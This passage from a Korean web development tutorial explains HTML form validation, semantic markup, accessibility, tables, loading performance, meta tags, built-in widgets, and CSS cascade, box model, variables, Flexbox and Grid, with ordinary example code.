| 브라우저 자동완성 · 비밀번호 제안 | autocomplete — 가입 이탈률을 실제로 줄입니다 |
| 빈 채로 제출하면 브라우저가 막고 안내 | required · minlength |
| 낭독기가 힌트까지 함께 읽음 | aria-describedby |
| 라벨을 눌러도 체크박스 토글 | label 로 감싸기 |
폼 검증과 전송
브라우저 검증은 편의일 뿐입니다. 서버 검증은 없어선 안 됩니다.
기본 검증 + 내 메시지
<input id="nick" name="nick" required
pattern="[a-zA-Z0-9]{3,12}"
title="영문·숫자 3~12자">
const f = document.querySelector("form");
const nick = document.getElementById("nick");
nick.addEventListener("input", () => {
nick.setCustomValidity(
nick.validity.patternMismatch ? "영문·숫자 3~12자로 적어 주세요" : ""
);
});
// ★ 아래 검사는 <form novalidate> 일 때만 필요합니다 — novalidate 가 없으면
// 브라우저가 제출 전에 이미 막아서 submit 이벤트 자체가 일어나지 않습니다
f.addEventListener("submit", (e) => {
if (!f.checkValidity()) { // 하나라도 통과 못 하면
e.preventDefault();
f.reportValidity(); // 브라우저 기본 말풍선 표시
}
});
novalidate 를 form 에 붙이면 기본 말풍선을 끄고
직접 만든 에러 UI만 쓸 수 있습니다. 이때도
checkValidity() 로 판정은 그대로 활용하세요.
JS 로 보내기 (FormData)
f.addEventListener("submit", async (e) => {
e.preventDefault();
const data = new FormData(f); // name 속성 기준으로 수집
// 객체로 바꾸고 싶다면
const body = Object.fromEntries(data);
const res = await fetch("/api/signup", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(body),
});
if (!res.ok) { /* 서버가 준 에러를 화면에 */ }
});
// 파일 업로드는 FormData 를 그대로 보낸다
// (Content-Type 을 직접 넣지 말 것 — 경계 문자열이 필요)
await fetch("/api/upload", { method:"POST", body: new FormData(f) });
required 는 사용자를 돕는 장치이지 보안 장치가 아닙니다 —
같은 규칙을 서버에서 반드시 다시 확인하세요.
시맨틱 레이아웃
낭독기에는 "영역 목록"이 있습니다. 여기에 잡히도록 짜는 게 시맨틱입니다.
뼈대
<body>
<header> <!-- 사이트 머리 -->
<nav aria-label="주 메뉴">…</nav>
</header>
<main id="main"> <!-- ★ 페이지에 하나. 본문 -->
<h1>페이지 제목</h1>
<article> <!-- 떼어 놔도 말이 되는 덩어리 -->
<h2>글 제목</h2>
<section> <!-- 그 안의 절 -->
<h3>소제목</h3>
</section>
</article>
<aside>…</aside> <!-- 곁다리 (관련 글, 광고) -->
</main>
<footer>…</footer>
</body>
헷갈리는 지점
| 질문 | 답 |
|---|---|
| section vs div | 제목(h2~h6)이 붙는가로 정합니다. 제목이 없으면 그냥 div |
| article vs section | 잘라서 다른 곳에 붙여도 말이 되면 article (글·상품·댓글) |
| nav 는 몇 개? | 여러 개 가능. 대신 aria-label 로 구분하세요 |
| main 은? | 페이지에 하나. 반복되는 머리·꼬리는 빼고 그 페이지 고유 내용만 |
| figure | 그림 + 설명을 묶을 때. 설명은 figcaption |
접근성 — 역할 · 이름 · 상태
ARIA 의 첫 규칙은 "ARIA 를 쓰지 않는 것"입니다.
세 가지만 맞추면 된다
<!-- 역할(role) — 이게 무엇인가 -->
<button> → 버튼 (태그가 이미 알려 줌)
<!-- 이름(name) — 뭐라고 부르는가 -->
<button aria-label="닫기">✕</button>
<!-- 아이콘만 있는 버튼은 이름이 비어 "버튼"이라고만 읽힙니다 -->
<!-- 상태(state) — 지금 어떤가 -->
<button aria-expanded="false" aria-controls="menu">메뉴</button>
<ul id="menu" hidden>…</ul>
// 상태는 '바꿀 때마다' 같이 갱신해야 의미가 있습니다
btn.addEventListener("click", () => {
const open = menu.hidden; // 지금 닫혀 있으면 연다
menu.hidden = !open;
btn.setAttribute("aria-expanded", String(open));
});
자주 하는 실수
| 이렇게 쓰면 | 이렇게 |
|---|---|
<div role="button"> | <button> — 키보드까지 공짜 |
display:none 으로 숨긴 뒤 낭독 기대 | 숨기면 안 읽힙니다. 시각만 숨기려면 .sr-only |
aria-label 을 아무 div 에 | 역할 없는 요소의 label 은 무시됩니다 |
tabindex="5" 처럼 양수 | 순서가 꼬입니다. 0(포함) / -1(JS 로만) 만 쓰세요 |
포커스 테두리 제거(outline:none) | 키보드 사용자가 길을 잃습니다. 대체 스타일을 꼭 주세요 |
/* 화면에서만 숨기고 낭독기에는 남기는 표준 패턴 */
.sr-only{
position:absolute; width:1px; height:1px;
padding:0; margin:-1px; overflow:hidden;
clip-path:inset(50%); white-space:nowrap; border:0;
}
표 제대로 쓰기
표는 수치 데이터에 씁니다. 레이아웃용 표는 낭독기에서 재앙입니다.
<table>
<caption>2026년 분기별 매출 (단위: 백만원)</caption>
<thead>
<tr>
<th scope="col">분기</th>
<th scope="col">매출</th>
<th scope="col">증감</th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row">1분기</th> <!-- 행 제목도 th -->
<td>120</td>
<td>+8%</td>
</tr>
</tbody>
</table>
scope 가 핵심입니다. 낭독기는 셀을 읽을 때
"1분기, 매출, 120" 처럼 그 셀이 어느 행·열에 속하는지 함께 읽어 줍니다.
scope 가 없으면 숫자만 줄줄이 읽혀 아무 의미가 없습니다.
overflow-x:auto 상자로 감싸고
그 상자에 tabindex="0" 과 role="region",
aria-label 을 주면 키보드로도 스크롤할 수 있습니다.
완성형 표 — 이 골격을 복사해 쓰세요
<div class="tw" tabindex="0" role="region" aria-label="분기별 매출표">
<table>
<caption>2026년 분기별 매출 (단위: 백만 원)</caption>
<thead>
<tr>
<th scope="col">분기</th>
<th scope="col">매출</th>
<th scope="col">전년 대비</th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row">1분기</th>
<td>120</td><td>+8%</td>
</tr>
<tr>
<th scope="row">2분기</th>
<td>135</td><td>+12%</td>
</tr>
</tbody>
<tfoot>
<tr><th scope="row">합계</th><td>255</td><td>—</td></tr>
</tfoot>
</table>
</div>
| 부품 | 왜 필요한가 |
|---|---|
caption | 표의 제목 — 낭독기가 표에 들어가기 전에 읽어 줍니다. 시각적으로 숨겨도 됩니다 |
thead/tbody/tfoot | 구획 — 인쇄 시 매 페이지에 머리행 반복, 스타일 걸기도 쉬워집니다 |
행 머리도 th scope="row" | "2분기, 매출, 135" 처럼 행 맥락까지 읽힙니다 |
| 숫자 셀 정렬 | CSS 로 td{text-align:right; font-variant-numeric:tabular-nums} — 자릿수가 맞아 비교가 쉬워집니다 |
스크립트 · 스타일 로딩 순서
어디에 두느냐가 첫 화면이 뜨는 속도를 좌우합니다.
script 세 가지
<script src="a.js"></script>
<!-- 만나는 순간 파싱을 멈추고 받아서 실행 (가장 느림) -->
<script src="a.js" defer></script>
<!-- ✓ 기본 선택. 받는 동안 파싱 계속,
HTML 을 다 읽은 뒤 '적힌 순서대로' 실행 -->
<script src="a.js" async></script>
<!-- 받자마자 실행. 순서 보장 ✗
다른 코드와 무관한 것에만 (예: 애널리틱스) -->
<script type="module" src="a.js"></script>
<!-- 모듈은 기본이 defer 와 같음 -->
defer 입니다.
DOM 이 다 준비된 뒤 순서대로 도니
DOMContentLoaded 를 기다릴 필요도 없습니다.
미리 받기 · 늦게 받기
<!-- 첫 화면에 꼭 필요한 것: 미리 -->
<link rel="preload" href="/hero.webp" as="image">
<link rel="preload" href="/font.woff2" as="font"
type="font/woff2" crossorigin>
<!-- 곧 갈 페이지: 미리 연결만 -->
<link rel="preconnect" href="https://api.example.com">
<!-- 화면 밖 이미지: 늦게 -->
<img loading="lazy" …>
<!-- 인쇄용 CSS 처럼 당장 필요 없는 것 -->
<link rel="stylesheet" href="print.css" media="print">
첫 화면을 빠르게 — 우선순위대로
| 순위 | 할 일 | 효과 · 방법 |
|---|---|---|
| 1 | 이미지 크기 지정 | 레이아웃이 밀리는 현상(CLS)이 사라집니다 — width·height 속성 |
| 2 | 스크립트에 defer | 파싱 차단 제거 |
| 3 | 화면 밖 이미지 지연 | loading="lazy" — 단, 첫 화면 이미지에는 붙이지 마세요 |
| 4 | 이미지 포맷·크기 | WebP·AVIF + srcset 으로 화면에 맞는 크기만 |
| 5 | 폰트 전략 | font-display:swap + preload — 글자가 안 보이는 시간 제거 |
| 6 | preconnect | 외부 도메인 연결을 미리 (2~3개까지만) |
| 7 | CSS 분할 | 첫 화면용만 인라인, 나머지는 나중에 |
이미지 — 가장 효과가 큽니다
<!-- ★ width·height 를 반드시 — 로드 전에 자리를 잡아 둡니다 -->
<img src="/hero.webp" width="1200" height="630"
alt="제품 화면"
fetchpriority="high"> <!-- 첫 화면 대표 이미지에만 -->
<!-- 화면 밖 이미지는 지연 로드 -->
<img src="/thumb.webp" width="400" height="300"
alt="" loading="lazy" decoding="async">
<!-- 화면 크기별로 다른 파일 — 모바일에 4K 를 보내지 않게 -->
<img src="/photo-800.webp"
srcset="/photo-400.webp 400w,
/photo-800.webp 800w,
/photo-1600.webp 1600w"
sizes="(max-width: 700px) 100vw, 700px"
width="800" height="600" alt="설명">
<!-- 포맷 대체 — 지원하는 브라우저만 AVIF -->
<picture>
<source srcset="/img.avif" type="image/avif">
<source srcset="/img.webp" type="image/webp">
<img src="/img.jpg" width="800" height="600" alt="설명">
</picture>
width·height 를 빼면 화면이 덜컥거립니다.
이미지가 도착하는 순간 자리를 차지하며 아래 내용을 밀어내기 때문입니다.
누르려던 버튼이 밀려서 다른 것을 누르게 되는 일이 실제로 생깁니다.
CSS 로 크기를 바꿔도 상관없습니다 —
비율만 알려 주면 브라우저가 자리를 미리 잡아 둡니다.
폰트 — 글자가 안 보이는 시간을 없앱니다
@font-face{
font-family:"Pretendard";
src:url("/fonts/pretendard.woff2") format("woff2");
font-weight:400;
font-display:swap; /* ★ 기본 폰트로 먼저 보여 주고 나중에 교체 */
unicode-range:U+AC00-D7A3, U+0020-007E; /* 필요한 글자만 */
}
<!-- 본문 폰트만 미리 받기 (crossorigin 을 빼면 두 번 받습니다) -->
<link rel="preload" href="/fonts/pretendard.woff2"
as="font" type="font/woff2" crossorigin>
| font-display | 동작 |
|---|---|
swap | 기본 폰트로 즉시 표시 → 도착하면 교체. 대부분 이것 |
optional | 느리면 아예 안 씁니다 — 교체 깜빡임이 싫을 때 |
block(기본값 auto 가 대개 이렇게 동작) | 최대 3초간 글자가 안 보입니다 |
<!-- 외부 도메인은 미리 연결만 (2~3개까지) -->
<link rel="preconnect" href="https://cdn.example.com" crossorigin>
<link rel="dns-prefetch" href="https://api.example.com">
<!-- 인쇄용·조건부 CSS 는 렌더링을 막지 않습니다 -->
<link rel="stylesheet" href="/print.css" media="print">
<link rel="stylesheet" href="/wide.css" media="(min-width:1200px)">
unicode-range 로 나눠 두면 필요한 구간만 받아 갑니다.
빌드 단계에서 subset-font 같은 도구로 자동화해 두세요.
메타 태그와 공유 카드
링크를 채팅방에 붙였을 때 뜨는 그 미리보기를 만드는 부분입니다.
<!-- 검색 -->
<title>가격 안내 — 서비스명</title>
<meta name="description" content="검색 결과에 두 줄로 뜨는 설명. 120자 안팎.">
<link rel="canonical" href="https://example.com/price">
<!-- 공유 미리보기 (카카오·슬랙·페북 공통) -->
<meta property="og:title" content="가격 안내">
<meta property="og:description" content="플랜별 가격을 한눈에">
<meta property="og:image" content="https://example.com/og.png">
<meta property="og:url" content="https://example.com/price">
<meta property="og:type" content="website">
<!-- 트위터(X) 큰 이미지 -->
<meta name="twitter:card" content="summary_large_image">
<!-- 색상 테마 -->
<meta name="theme-color" content="#0b0b0d">
| 항목 | 주의 |
|---|---|
og:image | 절대 주소여야 합니다. 권장 1200×630. 상대경로는 대부분 무시됩니다 |
canonical | 같은 내용이 여러 주소로 있을 때 대표 주소를 지정 (중복 색인 방지) |
description | 검색 순위에 직접 쓰이진 않지만 클릭률을 좌우합니다 |
| 키워드 meta | 이제 아무 효과 없습니다. 넣지 마세요 |
JS 없이 되는 기본 위젯
아코디언 · 모달 · 팝오버는 이제 태그만으로 됩니다.
접기 · 모달
<!-- 아코디언 -->
<details>
<summary>환불 규정 보기</summary>
<p>구매 후 7일 이내…</p>
</details>
<!-- 모달 — 포커스 가둠·ESC 닫기가 기본 제공 -->
<dialog id="dlg">
<form method="dialog">
<p>삭제할까요?</p>
<button value="ok">확인</button>
<button value="no">취소</button>
</form>
</dialog>
dlg.returnValue = ""; // ESC 로 닫으면 값이 안 바뀌므로 열 때마다 비움
dlg.showModal(); // 뒤 배경 클릭 차단 + 포커스 가둠
dlg.addEventListener("close", () => {
console.log(dlg.returnValue); // "ok" | "no" | ""(ESC)
});
<dialog> 는 포커스 가둠·ESC 닫기·배경 비활성화를
브라우저가 해 줍니다. 직접 만들면 가장 자주 틀리는 부분입니다.
그 외 유용한 것
<!-- 팝오버 (툴팁·드롭다운) -->
<button popovertarget="tip">도움말</button>
<div id="tip" popover>여기에 설명</div>
<!-- 자동완성 목록 -->
<input list="cities" name="city">
<datalist id="cities">
<option value="서울"><option value="부산">
</datalist>
<!-- 진행률 · 수치 -->
<progress value="70" max="100">70%</progress>
<meter value="0.6">60%</meter>
<!-- 이미지 크기별 교체 (art direction) -->
<picture>
<source media="(max-width:600px)" srcset="mobile.webp">
<img src="desktop.webp" alt="…">
</picture>
<details> 안의 내용은 검색에 잡힙니다(닫혀 있어도).
반대로 display:none 으로 감춘 내용은
낭독기·검색 모두에서 없는 것이 됩니다.
자주 하는 실수 모음
코드 리뷰에서 가장 많이 지적되는 것들입니다.
| 증상 | 원인과 해결 |
|---|---|
| 모바일에서 글씨가 개미만 함 | viewport meta 누락 |
한글이 ??? 로 깨짐 | <meta charset="utf-8"> 를 head 첫 줄에 |
| 이미지 뜨면서 글이 아래로 밀림 | width·height 를 적어 자리를 예약 |
| Tab 으로 버튼에 못 감 | div 를 버튼처럼 씀 → <button> 으로 |
| id 가 중복 | id 는 문서에 하나. 반복되는 건 class 로 |
| label 클릭해도 입력칸에 커서가 안 감 | for ↔ id 불일치 |
| 폼 전송했는데 값이 안 옴 | input 에 name 이 없음 |
| 버튼 눌렀더니 페이지가 새로고침 | form 안 button 의 기본은 submit → type="button" |
| 새 탭 링크에서 보안 경고 | target="_blank" 에 rel="noopener" 추가 |
| 아이콘 버튼이 "버튼"으로만 읽힘 | aria-label 로 이름 주기 |
axe·pa11y 를 붙여
접근성 회귀를 자동으로 막습니다.
셀프 점검 5분 루틴
- ☐ 마우스를 뽑고 Tab 만으로 끝까지 조작되는가 — 지금 어디에 포커스가 있는지 항상 보이는가
- ☐ 이미지를 전부 끄면(개발자도구) 무슨 내용인지 알 수 있는가 — alt 점검
- ☐ CSS 를 끄면 문서가 위→아래로 읽히는 순서인가 — 구조 점검
- ☐ 브라우저 리더 모드로 열었을 때 본문이 제대로 추출되는가
- ☐ 200% 확대에서 깨지지 않는가
배우는 순서 — 로드맵
- 1단계 — 01~04: 뼈대 + 제목·목록·링크로 자기소개 페이지 (CSS 없이 먼저!)
- 2단계 — 05~06: 문의 폼을 검증까지 태그로만
- 3단계 — 07~09: 시맨틱 구획 + 표. 낭독기(무료: NVDA)로 직접 들어 보기 — 한 번 들으면 관점이 바뀝니다
- 4단계 — 10~12: 로딩 최적화 + 공유 카드 + 내장 위젯. Lighthouse 100점에 도전
안 먹히는
이유를
알면
CSS 는 쉽다
CSS 가 어려운 이유는 문법이 아니라 "왜 이 값이 이겼는가"가 안 보이기 때문입니다. 이 탭은 값이 정해지는 순서 → 상자 계산 → 배치(Flex·Grid) → 반응형 순서로, 안 먹힐 때 어디를 봐야 하는지를 기준으로 정리했습니다. 여기까지 마치면 !important 없이 레이아웃을 짜고 고칠 수 있습니다.
값이 정해지는 순서
"CSS 가 안 먹혀요"의 90%가 이 순서를 몰라서 생깁니다.
위에서부터 이긴다
1. !important ← 최후의 수단 (쓰지 마세요)
2. 인라인 style="…" ← 명시도 1000
3. #id ← 100
4. .class · [속성] · :hover ← 10
5. 태그 · ::before ← 1
6. * (전체 선택자) ← 0
같은 점수면 → 나중에 적힌 것이 이깁니다
/* 점수 계산 예 */
#app .btn span { } /* 100 + 10 + 1 = 111 ← 이김 */
.page .btn span { } /* 10 + 10 + 1 = 21 */
!important 대신 @layer
/* 순서를 '미리' 정해 둔다 — 뒤 레이어가 이깁니다 */
@layer reset, base, components, utilities;
@layer base {
a { color: blue; } /* 명시도 1 */
}
@layer utilities {
.text-red { color: red; } /* 명시도 10 이지만 */
}
/* → 레이어 순서가 우선이라 utilities 가 이깁니다.
명시도 싸움을 할 필요가 없어집니다. */
!important 는 빚입니다.
한 번 쓰면 그걸 이기려고 또 쓰게 되고, 결국 전부 important 가 됩니다.
급하면 선택자를 한 단계 구체적으로 하거나 @layer 로 순서를 정하세요.
선택자 — 필요한 만큼만
깊게 쓸수록 고치기 어려워집니다. 짧을수록 좋습니다.
/* 기본 */
.card { } /* class */
.card > .title { } /* 바로 아래 자식만 */
.card .title { } /* 몇 단계 아래든 */
h2 + p { } /* h2 바로 다음 형제 */
h2 ~ p { } /* h2 뒤의 모든 형제 p */
/* 상태 */
a:hover, a:focus-visible { } /* 마우스 / 키보드 포커스 */
input:disabled { }
input:checked + label { } /* 체크된 것의 label */
li:nth-child(2n) { } /* 짝수 번째 */
li:not(.done) { }
/* 요즘 많이 쓰는 것 */
.card:has(img) { } /* ★ 이미지를 가진 카드 (부모 선택) */
:is(h1, h2, h3) + p { } /* 묶어서 짧게 */
:where(h1, h2) a { } /* :is 와 같지만 명시도 0 */
| 선택자 | 쓰임새 |
|---|---|
:has() | 부모를 선택. "이미지가 있는 카드만 패딩 다르게" 같은 게 JS 없이 됩니다 |
:is() | 여러 선택자를 묶어 짧게. 명시도는 그중 가장 높은 것을 따릅니다 |
:where() | 명시도가 항상 0. 라이브러리 기본값에 쓰면 사용자가 쉽게 덮어씁니다 |
:focus-visible | 키보드로 왔을 때만 테두리. 마우스 클릭엔 안 뜹니다 |
div > ul > li > a > span 처럼 길게 쓰지 마세요.
HTML 구조를 조금만 바꿔도 깨지고, 명시도가 올라가 나중에 못 덮습니다.
필요한 요소에 class 하나를 주는 편이 거의 항상 낫습니다.
:has() 실전 — JS 로 하던 일이 사라집니다
/* 입력이 틀리면 라벨까지 빨갛게 — 클래스 토글 JS 불필요 */
.field:has(input:invalid:not(:placeholder-shown)) label{ color: crimson; }
/* 체크된 항목이 하나라도 있으면 삭제 버튼 표시 */
.toolbar:has(~ .list input:checked) .btn-delete{ display: inline-flex; }
/* 이미지가 있는 카드와 없는 카드의 레이아웃 분기 */
.card:has(> img){ grid-template-rows: 160px 1fr; }
/* 다음 요소에 따라 내 여백 조절 — "제목 뒤가 표면 붙이기" */
h2:has(+ table){ margin-bottom: 4px; }
/* 모달이 열려 있으면 body 스크롤 잠금 */
body:has(dialog[open]){ overflow: hidden; }
:has() 는 "상태를 클래스로 복사해 두는 JS"를 지우는 도구입니다.
상태가 이미 DOM 에 있다면(checked · invalid · open · 자식 유무) 스타일은 CSS 가 직접 읽게 하세요.
박스 모델과 box-sizing
"width 를 300 으로 줬는데 320 이에요" — 여기서 시작합니다.
*{box-sizing:border-box} 인 이유 — 계산 없는 세계로 시작하기 위해서입니다.기본값의 함정
/* 기본: content-box */
.box{
width: 300px;
padding: 10px; /* 좌우 20 */
border: 1px solid; /* 좌우 2 */
}
/* → 실제 차지하는 너비 = 300 + 20 + 2 = 322px */
/* ✓ 거의 모든 프로젝트가 이걸 깝니다 */
*, *::before, *::after { box-sizing: border-box; }
.box{ width:300px; padding:10px; border:1px solid; }
/* → 실제 너비 = 300px (패딩·테두리가 안쪽으로) */
border-box 는 사실상 표준입니다.
"적은 값이 곧 보이는 값"이 되어 계산이 사라집니다.
margin 이 겹치는 현상
/* 위아래 margin 은 '합쳐지지 않고 큰 쪽만' 남습니다 */
.a{ margin-bottom: 20px; }
.b{ margin-top: 30px; }
/* → 사이 간격은 50 이 아니라 30 */
/* 겹침을 막는 법 */
.parent{ display: flex; } /* flex·grid 안에서는 안 겹침 */
.parent{ padding-top: 1px; } /* 부모–첫 자식 사이 겹침만 막음 (형제끼리는 그대로) */
.parent{ overflow: hidden; } /* 새 BFC — 역시 부모–자식 사이만 */
/* ✓ 요즘 방식 — 간격은 부모가 gap 으로 */
.list{ display: flex; flex-direction: column; gap: 16px; }
gap 을 주세요.
"마지막 항목만 margin 빼기"(:last-child) 같은 예외 처리가 통째로 사라집니다.
단위 고르기
px 로만 짜면 글씨 크기를 키운 사용자에게 화면이 깨집니다.
| 단위 | 기준 | 쓰는 곳 |
|---|---|---|
px | 고정 | 테두리, 그림자, 아주 작은 간격 |
rem | 루트 글꼴(보통 16px) | 글자·여백의 기본. 사용자 설정을 따라갑니다 |
em | 그 요소의 글꼴 | 버튼 안쪽 여백처럼 글자에 비례해야 할 때 |
% | 부모 | 너비 |
vw·vh | 화면 | 전체 화면 섹션 |
dvh | 실제 보이는 높이 | 모바일 주소창이 접히는 것까지 반영 |
ch | 글자 0 의 너비 | 글줄 길이 제한 (max-width:65ch) |
/* 화면 크기에 따라 부드럽게 — 미디어 쿼리 없이 */
h1{ font-size: clamp(1.5rem, 4vw, 3rem); }
/* 최소 선호 최대 */
.container{ width: min(100% - 32px, 1200px); } /* 좌우 16 여백 + 최대 1200 */
.side{ width: max(240px, 20%); }
/* 모바일 100vh 문제 — 주소창 때문에 잘립니다 */
.full{ height: 100dvh; } /* ✓ */
px 을 쓰면 브라우저 글꼴 크기 설정을 바꿔도 그대로입니다.
저시력 사용자가 글씨를 키울 수 없게 됩니다 — 본문·제목은 rem 으로 잡으세요.
변수 — 커스텀 프로퍼티
색·간격을 한 곳에서 정하면 테마 교체가 한 줄이 됩니다.
기본
:root{
--brand: #6a5cff;
--text: #1a1a1a;
--bg: #ffffff;
--radius: 12px;
--gap: 16px;
}
.btn{
background: var(--brand);
border-radius: var(--radius);
color: var(--fg, white); /* 두 번째 값 = 기본값 */
}
/* 부분만 덮어쓰기 — 이 안에서만 적용됩니다 */
.panel{ --brand: #00b894; }
JS 로 바꾸기 · 계산에 쓰기
// 읽기
const c = getComputedStyle(document.documentElement)
.getPropertyValue("--brand").trim();
// 쓰기 (테마 교체·슬라이더 연동)
document.documentElement.style.setProperty("--brand", "#ff6b6b");
/* 계산에 그대로 씁니다 */
.card{ padding: calc(var(--gap) * 1.5); }
/* 색 하나로 변형 만들기 (요즘 문법) */
.btn:hover{ background: color-mix(in oklab, var(--brand), black 12%); }
/* 값에 타입을 알려 주면 애니메이션도 됩니다 */
@property --ang{ syntax:"<angle>"; inherits:false; initial-value:0deg; }
이름을 어떻게 지을까 — 이 두 층이면 충분합니다
원시값 → 의미값 2단 구조
:root{
/* ① 원시값(palette) — 색 그 자체. 여기서만 실제 색을 씁니다 */
--gray-0:#ffffff; --gray-1:#f5f6f8; --gray-8:#23262d; --gray-9:#0f1115;
--violet-5:#6a5cff; --red-5:#e5484d; --green-5:#30a46c;
/* ② 의미값(semantic) — 화면에서는 이것만 씁니다 */
--bg: var(--gray-0);
--bg-subtle: var(--gray-1);
--fg: var(--gray-9);
--fg-muted: #666;
--line: #e5e5e5;
--accent: var(--violet-5);
--danger: var(--red-5);
/* 간격·모서리·그림자도 같은 방식 */
--space-1:4px; --space-2:8px; --space-3:16px; --space-4:24px;
--radius:12px; --radius-sm:8px;
--shadow-1:0 1px 2px rgb(0 0 0 / .06);
}
/* 다크 모드는 ②만 바꿉니다 — 컴포넌트 CSS 는 한 줄도 안 고칩니다 */
:root[data-theme="dark"]{
--bg: var(--gray-9);
--bg-subtle: var(--gray-8);
--fg: #e8e8ea;
--line: #23262d;
}
/* 컴포넌트는 의미값만 참조합니다 */
.card{
background: var(--bg-subtle);
border: 1px solid var(--line);
border-radius: var(--radius);
padding: var(--space-3);
}
--white 가 아니라 --bg 로 이름을 지으세요.
다크 모드를 넣는 순간 --white: #0f1115; 같은
말이 안 되는 코드가 됩니다.
"무슨 색인가"가 아니라 "무슨 역할인가"로 이름을 지으면
테마 추가가 변수 몇 줄 교체로 끝납니다.
알아 두면 쓰임새가 넓어지는 것
/* ① 컴포넌트에 '조절 손잡이'를 만들어 두기 */
.btn{
--btn-bg: var(--accent);
--btn-fg: white;
--btn-pad: var(--space-2) var(--space-3);
background: var(--btn-bg);
color: var(--btn-fg);
padding: var(--btn-pad);
}
/* 쓰는 쪽에서 변형 — 새 클래스를 만들 필요가 없습니다 */
.btn.danger{ --btn-bg: var(--danger); }
.btn.ghost { --btn-bg: transparent; --btn-fg: var(--accent); }
/* ② 상속을 이용한 지역 테마 — 이 안의 모든 자식에 적용됩니다 */
.promo{ --accent:#ff6b6b; --line:#ffd9d9; }
/* ③ 미디어 쿼리 안에서 값만 바꾸기 (선택자 중복이 사라집니다) */
:root{ --gap:16px; --col:3; }
@media (max-width:900px){ :root{ --gap:12px; --col:2; } }
@media (max-width:600px){ :root{ --gap:8px; --col:1; } }
.grid{
display:grid;
gap: var(--gap);
grid-template-columns: repeat(var(--col), 1fr);
}
/* ④ 폴백은 쉼표 뒤에 — 변수가 없을 때만 쓰입니다 */
color: var(--fg, #1a1a1a);
/* 중첩도 됩니다 */
color: var(--fg-strong, var(--fg, #1a1a1a));
.promo{ --accent: red } 를 걸면
그 안의 모든 자식이 영향을 받습니다.
의도한 것이면 강력하지만, 모르고 쓰면
“왜 여기만 색이 다르지”를 한참 찾게 됩니다.
또 값이 유효한지 검사하지 않습니다 —
--gap: 16(단위 누락)처럼 잘못된 값을 넣으면
조용히 무시되고 기본값이 적용됩니다.
@property 로 타입을 선언해 두면 이 실수를 막을 수 있습니다.
Flexbox — 한 줄 배치
가로 또는 세로 한 방향으로 늘어놓을 때 씁니다.
부모에 주는 것
.row{
display: flex;
flex-direction: row; /* row | column */
justify-content: space-between; /* 주축(가로) 정렬 */
align-items: center; /* 교차축(세로) 정렬 */
gap: 16px;
flex-wrap: wrap; /* 넘치면 줄바꿈 */
}
/* 가장 많이 쓰는 세 가지 */
.center{ display:flex; justify-content:center; align-items:center; }
.between{ display:flex; justify-content:space-between; align-items:center; }
.stack{ display:flex; flex-direction:column; gap:12px; }
justify-* 는 방향(direction)을 따라,
align-* 은 그 수직입니다.
flex-direction:column 이면 둘의 의미가 뒤바뀝니다.
자식에 주는 것
.item{
flex: 1; /* = 1 1 0 남은 공간을 똑같이 나눔 */
flex: 0 0 200px; /* 늘지도 줄지도 않는 200px 고정 */
flex: 1 1 auto; /* 내용 크기에서 시작해 늘고 줆 */
}
.push{ margin-left: auto; } /* ★ 이것만 오른쪽 끝으로 */
/* 줄어들다 글자가 삐져나오는 문제 */
.ellipsis{
min-width: 0; /* ★ flex 자식의 기본은 min-width:auto */
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
min-width:0 을 의심하세요.
flex 자식은 기본적으로 내용보다 작아지지 않으려 해서
overflow:hidden 이 무시된 것처럼 보입니다.
Grid — 두 방향 배치
행과 열을 동시에 다뤄야 하면 Grid 가 훨씬 짧습니다.
가장 많이 쓰는 형태
/* ★ 미디어 쿼리 없는 반응형 카드 그리드 */
.cards{
display: grid;
grid-template-columns: repeat(auto-fit, minmax(260px, 1fr));
gap: 20px;
}
/* 화면이 좁아지면 자동으로 열 수가 줄어듭니다 */
/* 고정 + 가변 */
.layout{
display: grid;
grid-template-columns: 240px 1fr; /* 사이드바 + 본문 */
gap: 24px;
}
/* 12칸 시스템 */
.g{ display:grid; grid-template-columns: repeat(12, 1fr); }
.wide{ grid-column: span 8; }
이름으로 배치하기
.page{
display: grid;
grid-template-areas:
"head head"
"side main"
"foot foot";
grid-template-columns: 240px 1fr;
grid-template-rows: auto 1fr auto;
min-height: 100dvh;
}
.page > header{ grid-area: head; }
.page > nav { grid-area: side; }
.page > main { grid-area: main; }
.page > footer{ grid-area: foot; }
/* 모바일에선 한 줄로 */
@media (max-width: 720px){
.page{
grid-template-areas: "head" "main" "side" "foot";
grid-template-columns: 1fr;
}
}
복붙해서 쓰는 레이아웃 다섯
① 반응형 카드 · ② 성지 레이아웃 · ③ 본문 가운데
/* ① 미디어 쿼리 없이 반응하는 카드 목록 */
.cards{
display:grid;
grid-template-columns: repeat(auto-fill, minmax(min(260px, 100%), 1fr));
gap:20px;
}
/* min(260px, 100%) — 화면이 260px 보다 좁아도 넘치지 않습니다 */
/* auto-fit vs auto-fill 차이 */
/* auto-fit : 남는 칸을 접어 카드가 늘어납니다 (카드가 2개면 화면을 꽉 채움) */
/* auto-fill : 빈 칸을 그대로 둡니다 (카드 크기가 일정하게 유지됨) */
/* ② 화면 전체를 쓰는 기본 골격 — 푸터가 항상 바닥에 */
body{
display:grid;
grid-template-rows: auto 1fr auto;
min-height:100dvh; /* ★ vh 가 아니라 dvh — 모바일 주소창 대응 */
margin:0;
}
/* ③ 본문은 가운데, 특정 요소만 화면 폭 전체로 */
.prose{
display:grid;
grid-template-columns:
1fr min(68ch, 100% - 2rem) 1fr; /* 좌여백 | 본문 | 우여백 */
}
.prose > *{ grid-column:2; } /* 기본은 가운데 칸 */
.prose > .full{ grid-column:1 / -1; } /* 이것만 전체 폭 */
④ 겹치기 · ⑤ 자동 높이 맞춤
/* ④ 요소를 겹쳐 놓기 — position:absolute 없이 */
.stack{ display:grid; }
.stack > *{ grid-area: 1 / 1; } /* 전부 같은 칸에 = 겹칩니다 */
.stack > .overlay{ place-self:end center; }
/* 이미지 위 캡션·로딩 스피너·배지에 유용합니다.
부모 높이를 가장 큰 자식이 정해 주는 것이 장점입니다. */
/* ⑤ 카드 안 요소 높이를 줄마다 맞추기 (서브그리드) */
.cards{ display:grid; grid-template-columns:repeat(3,1fr); gap:16px; }
.card{
display:grid;
grid-row: span 3;
grid-template-rows: subgrid; /* ★ 부모 행을 그대로 물려받습니다 */
}
/* → 제목·본문·버튼이 카드마다 같은 높이에 정렬됩니다 */
/* 버튼을 항상 카드 바닥에 (서브그리드를 못 쓸 때 — ⑤ 대신. 같이 두면 뒤의 display:flex 가 이깁니다) */
